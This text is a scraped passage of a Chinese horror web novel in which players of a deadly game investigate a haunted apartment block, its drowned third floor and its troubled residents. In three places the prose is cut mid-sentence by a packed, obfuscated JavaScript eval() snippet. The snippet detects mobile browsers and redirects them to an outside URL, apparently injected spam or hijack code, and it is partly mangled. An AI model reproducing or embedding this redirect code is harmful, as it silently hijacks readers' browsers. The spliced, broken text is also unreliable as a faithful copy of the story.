法瑟举着匕首将袭来的树根拦腰砍断,那怪物慢慢扭过脑袋,头颅上挤出了一个怪异的笑: “找——到——你——啦——” 只一个眨眼,怪物就像开了八倍速一般一个飞扑就要扑来。 “砰!” 郝荨举木仓就射,本应缓慢而沉重的怪物这时展露出它堪称怪异的敏捷,它在窄小的走廊里辗转腾挪,硬是让她一木仓都没射中! 郝荨大为光火,这垃圾武器! 要是能活着通关,她一定要想办法搞个瞄准挂! 然后—— 没有然后了!怪物已经近在咫尺! 她只感觉脖子一紧,自己就要被法瑟甩出去! 下一秒,一个白白的残影从隔壁冲出,像是卡车一样将扑在空中的怪物生生撞翻! 大量灰尘飘在空中,郝荨眯起眼,一个比人还高的白色玩偶从地上站起。 它提着自己快要散架的手,又甩了甩自己长长的耳朵,红色的眼珠上有流光闪过。 是柚柚的兔子玩偶! 方柚柚从被兔子撞开的洞口中探出头:“快回来!” 郝荨脖子又一紧,她整个人被法瑟提进了102里。 方柚柚一个滑铲“呲溜”一下躲进床下:“快!快躲好!他挡不了多久!” 果然,没过多久,破烂兔子就被踹进了屋里,巨大化能力消散,一只沾满灰的小兔子抱住自己的脑袋闷在了墙角。 “老大轻轻跃楼下,老二睡在大树旁,老三鱼儿水里游,老四偷偷躲床上……” “游——戏——开——始——啦——” 怪物手脚并用爬进屋里,它好像很开心,时不时还嗬嗬一笑。 笑得人浑身发寒。 郝荨躲在自己的老朋友“衣柜”里,谨慎地屏住呼吸。 “在——这——里——吗——?” 它晃着脑袋走了过来,黑色粉尘从它身上掉落,又被沉重的脚步弹到空气中,洋洋洒洒,没一会儿就飞得漫天都是。 郝荨感觉自己喉咙痒痒的,她强忍住咳意,祈祷这个怪物快点离开。 可事与愿违,那怪物非但不离开,还越找越近,它的头颅贴在衣柜上,轻轻抽动着。 如果不是还有块木板隔着,她就要和这个怪物贴面了! “找——到——啦——” 怪物张开大嘴,一股焦糊和血腥气混杂的味道喷涌而出: “你——快——出——来——呀——!” 62. 幸福公寓11 破破烂烂的兔子悄无声息地站起,两条小短腿倒腾飞快,趁着怪物的视线集中在衣柜上,它打了个滚翻进床底,被方柚柚一把抱住。 嘘! 方柚柚比了个手势,紧张地注视着外头。 从她的角度看去,只能看到怪物四肢着地,似乎要去开柜子。 园长还躲在那里! 她忍不住拽紧兔子的耳朵,兔子吃痛,却没有发出半点声响。 【是否发动天赋技能:后翼弃兵】 方柚柚眼中浮现出不符合年龄的坚定: ‘是——’ 嗯? 方柚柚愣住,那怪物怎么走了? 她的视野实在有限,根本看不见外面究竟发生了什么,只能看到怪物的四条腿在屋里又绕了几圈,然后……走了。 就这么走了?! 她小心匍匐着探出脑袋瓜,柜门大敞着,园长正坐在里头一动不动。 “它没发现你?” 郝荨喘了口气,收好木仓和道具,点了点头。 卧室的窗户被轻轻推开,法瑟勾着窗沿鱼跃而入,轻巧落地。 “都没事吧?” “你们去哪了?”方柚柚很生气地控诉,“我醒来发现旁边没人,还以为你死了!” 差点没吓死她! 见她炸毛,郝荨连忙解释了一番方才的遭遇。 方柚柚冷静下来:“所以,丁婆也是鬼?” “嗯。”郝荨面色有些沉重,“我现在怀疑,这栋楼里还有谁是鬼?或者说——” “——这栋楼里,还有活人吗?” 101的电视声越发响了。 “你说的滴答声是这个吗?” 方柚柚忽然指向和阳台,现在不止是丁婆那有,他们这边也有。 郝荨走过去一瞧,他们的窗台上有水花溅起的痕迹。 方柚柚第一反应是空调滴水,然后才反应过来他们现在在副本里,而幸福公寓里别说空调了,这些住客连电扇都舍不得开。 不然也不会在这么热的天拿着个蒲扇在门口乘凉。 郝荨提议:“上楼看看?” 大家一致同意,三人小心出了门,丁婆的树根已经悄无声息地收了回去,仿佛刚刚发生的都是幻觉。 水滴是从三楼滴下来的,又是三楼。 门口的佛像痕迹还萦绕在她心头无法散去。 “现在只有一个问题。” 郝荨在304和305中间站定:“有人会撬门吗?” 方柚柚和法瑟面面相觑,法瑟举起匕首:“物理撬门?” 这显然是不行的,她还没打算跟这些不知是人是鬼的NPC撕破脸。 这种时候郝荨就无比想念余逸那把□□,要是有那把钥匙在,她可以想去哪就去哪……等等。 他们进不去,不代表别人进不去。 郝荨思维瞬间开阔,她的员工就有这种能力啊! 只是她的天赋技能一场副本只能用一次,要用在这种时刻吗? 她想了想,视线慢慢移到了方柚柚的怀里。 方柚柚:? 她怀里的破烂兔子不自觉地抖了抖耳朵。 好奇怪,玩偶也会怕冷吗? “柚柚啊,”郝荨屈膝蹲下,一脸亲和道,“我记得,你这只兔子可厉害了,还能飞檐走壁哦?” 方柚柚感觉自己好像被什么大灰狼盯上了,她瑟瑟发抖。 “干、干嘛?” 郝荨嘿嘿一笑。 三分钟后。 灰白色的兔子顺着幸福公寓的外墙费力向上攀爬,它迎着风,两只长耳朵被绑了个死结。 魔鬼还说是为它好!怕它在爬墙的时候被自己绊倒! 兔子简直想迎风飙泪,可它只是个玩偶,没有眼泪。 它毛茸茸的身体在经过窗缝时被挤成细细一片,落地的冲击被它蓬松柔软棉花内胆完全吸收,没有发出丁点声响。 有人? 兔子几下跳到门后,一个扎着小揪揪的小女孩从隔壁阳台钻了进来。 她盯着佛像看了一会儿,目光黑洞洞的,随后熟练而又虔诚地跪在蒲团上,对着佛像跪拜,口中低声念叨着什么。 兔子挠了挠自己被绑住的耳朵,听不清楚。 没一会儿,隔壁传出了小孩哇哇大哭的声音,女孩不为所动,执着地将最后一个头磕完。 这个头磕得有点久,久到兔子的毛都被风吹得微微颤抖,她才起身回去。 灰兔子没有忘记自己是来做什么的,它敏捷助跑,爬上了供台。 佛像依旧身体正对着房间,它绕过供台上的瓜果,看了看园长特意提及的脸。 兔子后腿抬起,挠了挠自己的耳根。 这是园长说的那张没有五官的脸吗? 佛像本应平滑的脸上长出了一颗虬结的凸起,像是瘤子。 “核桃?” 郝荨懵住:“它说,佛像的脸上长了半个核桃?” 方柚柚拎着湿漉漉的兔子耳朵点了点头。 郝荨皱起脸,瘤子就瘤子,说什么核桃? 这让她以后还怎么吃核桃! “佛像真的变化了!”方柚柚振奋,“祂会是这场游戏的关键吗?!” 不知道是不是迷雾游戏的官方审美,所有跟神明有关的线索都非常重要。 哪怕那是尊不知名的野神也一样。 郝荨想起门口的印迹,疑惑道:“可祂为什么要窥视我们?我们有什么好看的?” “可能,”法瑟突然开口,“祂窥视的不止我们。” 顺着他的视线望去,郝荨赫然发现305的门口竟也有一样的圆形底座痕迹! 门缝里有点点深色漫延。 她打开灯照了照,居然是水。 大量的水从房里渗出,对了,滴答声! 她用力敲了敲门:“赵清溪?赵清溪!” 屋内什么反应也没有,只能听到越来越多的水滴声。 她还要再敲,法瑟忽然制止了她。 “怎么了?” 她被对方拉开,法瑟皱眉道:“水有问题。” 这水漫延的速度越来越快,一只瘦小的蜘蛛从水上爬过,还没爬出两步,忽的浑身僵硬,翻倒抽搐了两下,不动了。 蜘蛛死了。 郝荨扭头就跑,几人三步并作两步从三楼冲回一楼,那液体的痕迹已经顺着墙面爬到了天花板,整座楼就像被水淹过似的,湿漉漉的。 他们还想出门,却发现幸福公寓的大门根本打不开。 无法,他们只好回到了自己的大本营102。 三人齐心协力用柜子里的毛巾被子将门缝和窗缝堵好,终于减缓了水渗透进来的速度,几个人将桌子和床叠起,搭成了一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14374903|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的高处空间。 郝荨盘腿坐好:“聊聊?” 方柚柚:“聊什么?” 她有点困了,打了个哈欠。 “明天晚上十二点就中元节了,中元节,鬼门开……要是真像我们猜测的,这楼里除我们以外全是鬼,到时候咱们打得过吗?” 方柚柚把兔子放在中间,放松地靠在兔子上,她举起手。 郝荨瞄了她一眼:“想说什么就说,别把课堂上那套带到游戏来。” 方柚柚无语:“……我是想说,看看我的细胳膊细腿,你觉得打得过吗?” “你都老玩家了连个C级副本都打不过啊?” 她说得实在自然,方柚柚闭着眼,想都没想就回答道:“老玩家又不是神——你怎么知道我是老玩家?” 她一下坐起,紧张地看向郝荨。 郝荨没有感情地弯起嘴角:“我现在知道了。” 方柚柚嘴巴张了张,很想解释些什么,但又说不出口。 她求助地看向法瑟,对方看起来和园长很熟的样子,就不能帮忙打个圆场吗! 法瑟还在发呆,就被一股灼热的视线盯住。 他还没来得及说话,郝荨无情打断道:“你看他可就看错了,他也不清白。” 法瑟呆住,这火怎么烧到他了? 他什么都没做啊。 郝荨屈膝撑住脑袋,没什么表情地盯住方柚柚:“说说吧,怎么跟我进本的?” 方柚柚抿了抿唇,似乎想死不认账。 郝荨轻轻弹了一下脏兮兮的兔子脑袋:“快说,不然我就要挟持兔质了。” 她故意摆出个凶狠表情,手上动作却很温柔,她把兔子的耳朵解开,梳理了两下。 说到底她也不是非要对方说出个子丑寅卯,只是现在实在无聊,随便炸一炸罢了,哪晓得对方这么好炸。 可一点都没有她想象中老玩家该有的样子。 不说老谋深算吧,至少也得是精明强干,不然怎么对得起白兔子的“怪物”之名。 是的,作为一个高强度冲浪选手,她在论坛里刷到过白兔子的名号。 这位玩家其实算不上是迷雾游戏顶尖玩家,进入游戏的时间也不久,只是因为前段时间的一场游戏才异军突起,被大家冠以“怪物”之名。 据说,她和她当时的队友进入了一场A级游戏,本该十拿九稳的副本,最终却只有她一个人走了出来。 全员团灭,其中还包括一位通关过SS级游戏的元老玩家——以及她的孪生哥哥。 没有人知道她是否在其中做了什么。 她对白兔子的行为不置可否,但如果对方盯上了她……那可就不一样了。 所以她进入副本后一直都在留意对方,可奇怪的是,这位白兔子和论坛里说的并不一样,她既没有故意搞事,也没有给她任何不好的感觉。 她甚至没有说过谎! 也就是说,柚柚是她的真名。 就连余逸这种清澈大学生都知道编个代号呢! 相比较论坛里的牛鬼蛇神,郝荨更相信自己的直觉。 对方既然展示出了诚意,那她就有理由相信对方应该是有求于自己,这样的话,有什么不能摊开来说呢? 方柚柚和郝荨拎着的兔子对视了一会儿,她像是做了一个决定: “我想请你帮忙,把一个怨念带回现实。” 63. 幸福公寓12 “我想请你帮忙,把一个怨念带回现实,作为交换,我愿意当你的固定队友,我会尽自己最大的可能保护你通关迷雾游戏。” 方柚柚神色镇静,声音也没有丝毫发抖,看起来就像个一个身经百战的成年人。 郝荨却能感受到对方隐藏在冷静外壳下的紧张。 眼见着对方如此表现,郝荨倒是一点也不慌了,她好奇道:“你要把谁带回现实?” 方柚柚警惕地看了眼一直在神游不知道看哪里的法瑟,垂下眼帘。 郝荨会意:“好吧,我们出去再谈。” 她视线转向法瑟:“轮到你了。” 法瑟瞬间歪下脑袋,陷入了婴儿般的睡眠。 郝荨:…… 再扭过头时,方柚柚也趴在兔子身上睡着了。 好!好,好得很! 不知道过了多久,她迷迷糊糊地醒来,公寓重新变回了原本破旧温馨的模样。 她伸了个懒腰打开门,被挤在门口的大脸吓了一跳。 田全阴沉的脸瞬间变化,老好人田叔上线:“哎呀,大师,太好了!你们没事!” 郝荨敷衍地笑笑:“你找我们有事?” “没有没有,”田全连连摆手,“我就是来看看你们!昨天斗法很辛苦吧?地上都那样了,我还以为你们——” 他慌忙收住口。 郝荨皱起眉毛,地上?地上怎么了? 她吸了吸鼻子,闻到一股淡淡的腥臭味。 田全转过身拿起扫帚,嘴里念叨着:“没事,你们继续睡,我来打扫就行了!” 他一让开身体,这股臭味就跟反扑似的冲进她的鼻腔,她强忍住干呕。 地上哪来这么多鸟和虫子的尸体? 甚至还有只翻肚皮的老鼠! 田全絮絮叨叨地把这些尸体都扫进簸箕,神色十分淡定。 郝荨忍不住问:“你不害怕吗?” 田全一愣,随即道:“嗨!我们这里这么偏,什么没见过,况且……” “况且什么?” 他的脸被柜子挡住,看不清楚,只能隐约看到对方扫地的动作慢了下来。 “啊!” 方柚柚眯着眼睛走了出来,刚出来就看见了满地的死虫子。 她蹭蹭蹭一个大动作后退,径直退到了法瑟身后。 郝荨没有在意,她再次追问,田全却不肯再说了。 滴,答。 一滴水珠落到了田全光溜溜的头顶。 田全愣住,他还没反应过来,一个暴躁的女声就在二楼开启了素质十八连。 “三楼怎么回事?!漏水呢!要死啊!” 施婉婉连鞋都没来得及穿就愤怒出门,她的书都泡水了! 水流顺着楼梯和墙缝滴落,等郝荨他们赶到三楼时,三楼已经完全泡在了水里。 地面上到处都是水,方芳正在用力敲305的门:“赵清溪?赵作家?!” 齐念儿抱着个小孩缩在304门口,那小孩脸色灰暗,嘴唇却很红,看起来有气无力的样子。 这就是齐念儿那个体弱的弟弟齐小宝? 她踩着塑料拖鞋,怯生生的,手上还在不自觉地晃悠着,齐小宝时不时地哼哼两下,每次哼哼都能换得齐念儿安抚的拍拍。 郝荨收回视线,问道:“她不在家吗?” “不可能!”方芳瞬间回道,“我就没听到她出门!” 郝荨不着痕迹地挑了挑眉,上前问道:“她不会出事了吧?” 边说,她边盯着方芳看,没有错过对方眼中一瞬间的狂喜。 非常短暂,要不是她提前有准备,肯定会错过对方的表情转变。 方芳挂上忧心神色:“这……不会吧?” 施婉婉等不及了,她提起裙摆:“要不踹门进去吧?这水也不能一直放啊!” 郝荨想了想,点头同意,正在他们准备踹门的瞬间,门忽然开了。 赵清溪顶着一头湿发打开了门,见到这么多人她也没有惊讶,只是沉默了几秒:“水管爆了。” 她的发丝湿漉漉黏在脸上,只露出那双包裹在青黑色眼圈里的眼睛,她的眼里布满了红血丝,眼球微微突出,看起来有些怪异。 比她湿透的上半身更怪异的,是她干燥的下半身。 除了裤腿因为踩在地面而湿了一截外,她腰部以下的部分只溅了些水花在上头。 几人一拥而进305,厕所里的水管确实爆了,压强导致水流跟个水炮似的疯狂冲刷着水管对面的马桶。 “不行,这水太猛了,过不去。” 田全抹了把脸,他几次试图冲过去修理,都被水流赶了回来。 施婉婉睁大双眼:“那怎么办?再这么下去,要不了多久,别说二楼了,你们一楼也要被淹光!” 一听自己家要被淹,田全也急了:“可我一个人真不行啊!至少也得有个帮忙的,推住我,别让我冲回来!” 施婉婉眼珠一转:“叫你儿子啊!他一个大男人,天天窝在家里也不知道在干什么,给公寓做出点贡献啊!” 田全的脸色在水花中明暗不辨,他没有接话。 气氛变得微妙起来,郝荨将每个人的表情尽收眼底,法瑟忽然拿过田全的修理工具,他虽然个子高,却不是那种非常健美的身材,体重自然也不算太重。 可当他戴上护目镜向水中走去时,迎面对着水柱也丝毫不慌,每一脚都踩得很稳,就好像面前根本没有这些水似的,非常轻松。 没几分钟,他就修好了这个水管。 施婉婉松了口气,她的东西终于保住了。 在修理过程中,赵清溪一直背对着所有人躲在角落,等大家走时她也没有道谢。 郝荨的视线在屋内搜寻了一圈,她疑惑地歪了歪脑袋。 方柚柚低声问:“你发现什么了?” 郝荨摸了摸下巴:“你不觉得,屋里少了什么吗?” 方柚柚一愣,随即望向郝荨,两人异口同声道: “旺财!” 赵清溪的那条宠物小金鱼去哪了? 郝荨轻轻拍了拍她的肩膀,温声问道:“清溪?旺财呢?我给它带了点吃的,它去哪啦?” 半晌,赵清溪微微扭过头,含混不清地说了什么。 郝荨没听清。 “你说什么?” 她靠过去准备细听,忽然,她动作顿住。 赵清溪挡住的角落里,摆着那只鱼缸,而此刻,鱼缸里空空如也。 一股不妙的情绪袭上她的心头,赵清溪缓缓回过头—— 她双目暴突,鼓着嘴,脸颊不住地抽动着,一点金红色在她嘴角若隐若现。 赵清溪张开嘴,露出了那条肥嘟嘟、曾经干净又漂亮的小金鱼。 这次她听清楚了对方在说什么,她在说: “——它就在这里呀。” * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390088|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “赵清溪……她疯了?” 直到下楼时,郝荨还心有余悸。 她自认自己不算什么很善良的人,可再如何冷酷的人见到这一幕也很难保持冷静。 在外人眼中疯疯癫癫的小作家家中,唯一一抹颜色就是那条金红色的小金鱼,她哪怕精神状况不容乐观也将这条小鱼照顾得很好,还为它取了一个寄托自己美好愿望的名字——“旺财”。 可现在,就在她眼前! 这个人亲口将自己的宠物吞吃入腹! 方柚柚不由自主地抱紧了自己的兔子,兔子安慰地拍拍她的脑袋。 “大师,你们在这呀!” 一个女声叫住他们,郝荨回过头,是住在203的王娴,王娴吃力地背着一个旧麻袋,正要上楼。 “老何昨天跟我说了,大师……现在有空吗?” 郝荨立刻回道:“有空。” 王娴笑笑,将大家一起带回了她家。 她的丈夫见到大家过来,想要坐起招呼,一下没撑住,差点摔下床去。 “诶!都叫你别动了!” 王娴嘴巴上责怪,手上动作却又快又温柔,她一手抱住何建国的腋下,另一手忙不迭地塞了两个枕头在他身后,好让何建国舒服又体面地坐好。 何建国唯唯诺诺地点了点头,看得出来,他们夫妻俩感情很好。 这是郝荨三人第一次进203,明明幸福公寓里所有房间的布局都是一样,却只有这间房看起来格外破旧,地面上叠满了各式各样的麻袋和塑料袋,几乎让人没办法下脚。 王娴把丈夫料理好后,便手脚麻利地从整理好的纸箱后翻出几个板凳和马扎。 这些椅子样式不一,有几条腿断了,用胶带缠了厚厚一层。 王娴有些不好意思道:“对不住啊,家里条件有限,不过你们放心,都很结实的!” 说着,她还用力往下坐了坐。 马扎发出一声不堪重负的“吱呀”声,确实没塌。 郝荨挑了个马扎坐下,神情自然道:“没事,我们就是想问问,在金顺一家死前,公寓楼有什么怪事发生吗?” 王娴打开刚刚背回来的麻袋,喘了口气。 那袋子里都是各式各样的塑料小珠子,她边做手串儿边回忆: “怪事……这,我每天早出晚归的,其实也不是很清楚楼里发生的事。” 她每天忙得团团转,每天除了摆摊还要照顾丈夫,空余的时间还要和丈夫一起准备摆摊的物件,连觉都睡不够,就连金顺出事她都是第二天醒来才知道的。 “咳咳……”何建国咳了两下,提醒道:“上次囡囡回来,晚上你不是撞到他吗?” “哦,对!”王娴恍然,“之前我女儿放假回家,没买到票,只有晚上十二点到的,我去接她,回来的时候看到老金和齐永亮在楼梯口嘀嘀咕咕,什么‘好地方’什么‘翻盘’的,看到我们回来就不说话了,也不知道他们在搞什么。” 何建国补充:“我腿还没坏的时候,和老金关系不错,他那人有点混,最看不起的就是齐永亮这种斯斯文文的,一直很讨厌他。” 他接过王娴手里的鱼线,眯着眼睛帮她一起串:“所以他们俩走在一起,真的有点奇怪。” 郝荨敏锐道:“你女儿什么时候回来的?” 王娴想了想:“一个多月吧。” 一个多月,正好是金顺的存折流水出状况的时候。 64. 幸福公寓13 什么样的“好地方”能有这么大笔的流水入账? 联想到田全所说的金顺打算放弃小卖部开超市这件事,郝荨怀疑,金顺恐怕是碰了什么不该碰的东西,比如——赌博。 只是不知道齐永亮在这件事里扮演了什么角色。 上次上门时对方还声称和金顺不熟,郝荨思索一番,问道:“齐永亮呢?你们对他有什么了解吗?” 王娴揉了揉眼睛,屋里没开灯,她就着阳台洒下来的光,将珠串放在眼前收口,收了几次才收好。 “齐老师啊……” 方柚柚疑惑:“老师?他不是开麻将馆的吗?” 何建国说:“他以前好像是做老师的,后来好像学校发生了什么事,就回来开了个麻将馆。” 王娴点头:“以前公寓人还多的时候,那麻将馆吵得嘞!天天都有人去搓麻将,不分白天黑夜地搓,我们晚上睡觉都睡不好,跟他们吵过好多次架!” “不过后面楼里人越来越少,麻将馆也就关门了。” 她有些唏嘘:“念儿都这么大了,幼儿园不去也就罢了,这眼看着人家跟她这么大年纪的都去念小学了,她还没去,人也瘦巴巴的,总是生病,家里还有个小的身体也不好,也不知道他们要怎么活。” “齐小宝到底生了什么病?不能治吗?” 夫妻俩对视一眼,王娴开口:“我们也不知道,好像那小孩头上长了个东西,方芳也不让我们看看那小孩,说是什么先天的,反正很难治。” 她看了眼墙上裂开的钟,站起身:“不过我看她这几天心情蛮好的,不知道是不是有法子了,几位等一等哈,我先去给老何熬个药。” 说完,她便从柜子里小心翼翼取出个油纸包来,纸里包的都是些中药材。 她一点没落地抖进砂锅里,端着出了门。 方柚柚:“她去哪儿?” 何建国脸色有点苍白,他低着头道:“家里…家里煤气没了,她去借个火。” 郝荨拿起珠串看了看,塑料小珠子打眼看过去花花绿绿的,细看就能发现材质不行,以副本所在时代的物价来看,这一串恐怕顶天了也就卖个几毛钱。 王娴连煤气都要借别人的,电灯恐怕也是舍不得开的,难怪她刚刚一直在揉眼睛,这珠子这么小,穿起来费时又费力,也不知道一天能赚几块钱。 可就这样,她不止靠自己养活了半身瘫痪的丈夫,还供养了一个读大学的女儿。 郝荨忍不住感叹:“王阿姨真的很厉害。” 何建国沉默了几秒,眼圈有些许泛红,他忽然问:“大师,你们超度一次……收多少钱啊?” 话刚出口,他又像是反应过来,低声道:“算了,花这个钱也没意思。” 这话没头没尾的,郝荨却一下察觉到对方隐藏在话里的含义。 她立刻坐直身体:“你要干嘛?你别做傻事啊!” 何建国撇过脑袋,沉默不语。 郝荨恐吓他:“你要这样我就去告诉王阿姨了!” “不行!” 提到王娴,何建国总算是收起那副死气沉沉的模样,他急切道:“我没有想死!” “那你问这做什么?!” “我就是……就是,就是觉得拖累他,要不是我,她完全可以再找一个,哪怕她不找,她也能把女儿照顾得很好,多的钱她还能把她自己照顾好,哪像现在……” 何建国情绪低落,他恨恨地盯着自己空荡荡的大腿根,截肢手术很恐怖,可更恐怖的…是截完肢后的腿。 骨头被抽出,只留下两坨畸形的肉球。 他恨啊,太恨了,恨对面那个开大灯的司机,也恨犯困的自己,最恨的…是自己当时怎么不死在车里! 自己没死,老板赔的钱也没多少,他这副身体只要还活着,每一分每一秒,都在硬生生消耗家里的钱。 他深深沉浸在自己的思绪里,在郝荨眼中,这个男人就像是直接变成了灰色。 她连忙打断他:“你可别胡思乱想了,你女儿这么优秀,很快就要毕业工作,这苦日子眼看着就要熬出头,你在这节骨眼找死?” “你想想,如果你是你女儿,上学上到一半突然得知父亲自杀了,还是为了自己和母亲,她还能继续好好念书吗?” 何建国语塞。 郝荨想了想,干脆直接绑架他:“所以为了你女儿和王阿姨,你更应该好好照顾自己,要不然,万一你没了之后,你女儿情绪波动,影响成绩怎么办?说不定到时候毕不了业,好工作也没了!她都这样了,王阿姨可能更加接受不了,万一生病了呢?女儿也不在身边,连个叫她吃药的人都没有,你难道想看到这种未来?!” “这不行!” 光是想想,他就难以接受。 何建国抹掉泪花,总算是抛开了这种想法。 也是巧,他刚放下手,门就被推开了,王娴端着没动过的砂锅走了进来。 “怎么就不在呢——你咋了?” 王娴停下脚步,狐疑地看着何建国发红的眼圈,又看了看郝荨几人。 “没、没事,就是、就是……” 何建国嘴巴动了动,想要解释,他可能没怎么说过谎,说起来结结巴巴的,郝荨接过话头:“我们在聊您女儿呢,她真厉害,拿了那么多奖状。” 说着,她指向墙壁,墙上没有其他装饰,唯一的装饰就是密密麻麻的各式奖状,每一年的三好学生被规整地贴在最上面,下面是各科以及其他五花八门的奖状。 奖状上头贴了一张小小的全家福,是何建国还没瘫痪之前拍的。 “何叔叔说她从小就很努力,还感慨自己没帮上什么忙,女儿这么优秀都是您的功劳呢。” 王娴被夸得有些不好意思:“嗨!我也没怎么管过她,都是她自己懂事。” 何建国调整好情绪,问道:“怎么这么快就回来了?” 说到这,王娴才想起自己是回来干嘛的,她边说边去拿腰包:“哦对,小施不在家,老田说她学校有活动,这几天都不在。” 郝荨一怔,副本还没结束,NPC竟然能离开? 她从包里掏出几张毛票,有些牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411832|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼地小声嘀咕:“早知道自己开火了……” 何建国心疼道:“要不别熬了——” “那怎么行?!”王娴瞪眼,“我都跟老田说好了,去他那里熬。” 大约过了半小时,她端着砂锅回来了,何建国也不嫌烫,一口闷下。 郝荨状似无意般开口:“田叔一个人在家吗?” “他儿子也在呢,我听到他房里有声儿了。” 郝荨凑过去,一脸八卦道:“我上次看到他去找婉婉,他喜欢人家啊?” 王娴把碗洗好,重新坐回马扎上,听到这话直摇头:“这不成的哦,人家小施可是正经名牌大学的大学生,耀耀不行的。” 郝荨追问:“田耀怎么了?田叔不是说他很优秀吗?” “耀耀啊……”王娴压低声音,“虽然老田装得跟没事人一样,但人天天在屋里待着,也不去上学,他们都说啊,他被学校退学了!听说,还是作风问题退的。” “啊?!”郝荨夸张地睁大眼睛,不敢相信的样子,“田叔不是说他从小就乖吗?怎么会这样啊!” 没有哪个说八卦的人能拒绝这样一个捧哏,王娴自然也不例外。 她一副“这你就不知道了吧”的表情:“老田那是亲爹眼,觉得他儿子做什么都厉害,其实,这小子小时候就不怎么学好,没事就欺负人小女孩,人家家长找上门去老田还不承认,说是人小女孩撒谎!不知道闹过几次哦。” “还好我家囡囡不爱出去玩,”她感慨道,“不然说不准也会被欺负,不过耀耀也是可怜,从小就没妈,要不是丁婆,他还不知道能不能长大呢,只是丁婆年纪也大了,管不了太多,他爹呢,又惯他惯得没边,没得办法哦。” 这家夫妻俩一个早出晚归,一个连门都没法出,在幸福公寓里算是边缘人物,可也正是因此,他们反而知道很多事,郝荨在他们这里得到了许多关于其他人的信息。 只是只有这些,还是无法解开为什么会超度失败这个难题。 大黄狗从楼外跑来,身上脏兮兮的,眼睛却很亮,方柚柚没忍住,拿出口袋里的橡皮老鼠跟它玩了起来。 一人一狗一个抛出一个捡回,玩得不亦乐乎。 郝荨就着楼梯坐下,双手捧着脸,两眼发直开始发呆。 法瑟看了她几眼,总觉得这个模样很熟悉,忽然,他皱眉道:“你在点我?” “没有啊,”郝荨满脸无辜,“别太敏感了,我就是想试试在副本里神游是什么感觉。” 法瑟:…… 他没找到什么漏洞,只好闭上嘴。 见到对方那张面瘫脸上带上憋屈神色,她的心情终于好了一点,大脑重新开始转动: “现在基本能确定,晚上会有重头戏,对吗?” 法瑟:“嗯。” 还是那个道理,这场游戏太和平了,所有危险都集中在晚上,相比较C级副本的难度来说,那点危险简直就是洒洒水,只要他们装死不出门,就能躲过百分之九十的危险。 那么就只能说明,游戏在准备给他们一个大的。 65. 幸福公寓15 郝荨捡起边上的小石子,在水泥地上画了几条直线。 “这栋幸福公寓里算上金家总共有7户人家,101住着田全田耀两父子。” 她在代表101的格子里画了一个大圆一个小圆。 “田全呢,除了有点‘爹’和瞧不起女人外,看起来还算是个热心肠的‘老好人’,事事以他儿子田耀为荣,但他儿子田耀承担不起这份夸奖,被学校退学后还是不吸取教训,是个变态偷窥狂。” 她在小圆上画了个箭头,连线到202,又在202和201之间画了个眼睛。 “还有符纸。”法瑟补充。 对了,他墙头的世界地图后还贴了许多符纸,也不知道是拿来做什么的。 莫非是用来辟邪? 可金顺他们家和他没什么关联啊。 想着,郝荨在他的头上打了个问号,接着,她又在103的位置上画了棵树。 “103住着丁婆,一个坏脾气的独居老太太,身体不太好,和田全关系还不错,帮他照顾过田耀。爱种一些花草树木,经常骂那些偷她果子的人,甚至还说要下毒毒死他们。” 她想起夜晚的丁婆,打了个哆嗦,又在树上面画了张脸。 “晚上会变身树人。” “而201……”她想了想,在201上直接画了个钱的符号,“施婉婉,偏远地区来的女大学生,有个条件很好的男朋友,对金钱和地位的欲望极大,有一点很奇怪,她好像知道田耀在偷窥她却无动于衷。” 这是最令郝荨费解的一点,很少有女生在得知有人在自己洗澡时偷看自己,还能不当一回事的。 “她信了金顺的邪,借了一大笔钱给他,现在拿不回来了。” 如果这场游戏是个刑侦推理,那她的杀机已经浮现,但很可惜,这是个灵异世界,施婉婉也还年轻,这笔钱虽然数目很大,却也不至于要痛下杀手,葬送自己的前途。 “203的王娴何建国夫妻俩,瘫痪在床的丈夫和勤劳的妻子,两人还有一个在外念书的女儿。” 看不出有什么奇怪的,她在这间房随便画了几笔便换到了下一间。 “204,也就是这场诡异事件的开头。” 郝荨重重地打了个叉:“我们目前得知的信息是,在过去金顺一家七口都是靠小卖部生意为生,随着人越来越少,他的生意也越来越差,经济越发拮据,近三个月,金顺却一反常态,有大笔不明资金流动,结合他和齐永亮的对话里的‘翻盘’两字,我猜他可能碰了赌。” 方柚柚把头探过来,笃定道:“就是赌博,他跳下去之前还在跟家里人道歉呢,况且齐永亮偷偷在家里开麻将馆,这种无证经营稍不注意就可能越线。” 大黄狗叼着橡皮老鼠一颠一颠地跑过来,似乎觉得他们头碰头很好玩,也把狗头凑了过来:“汪!” 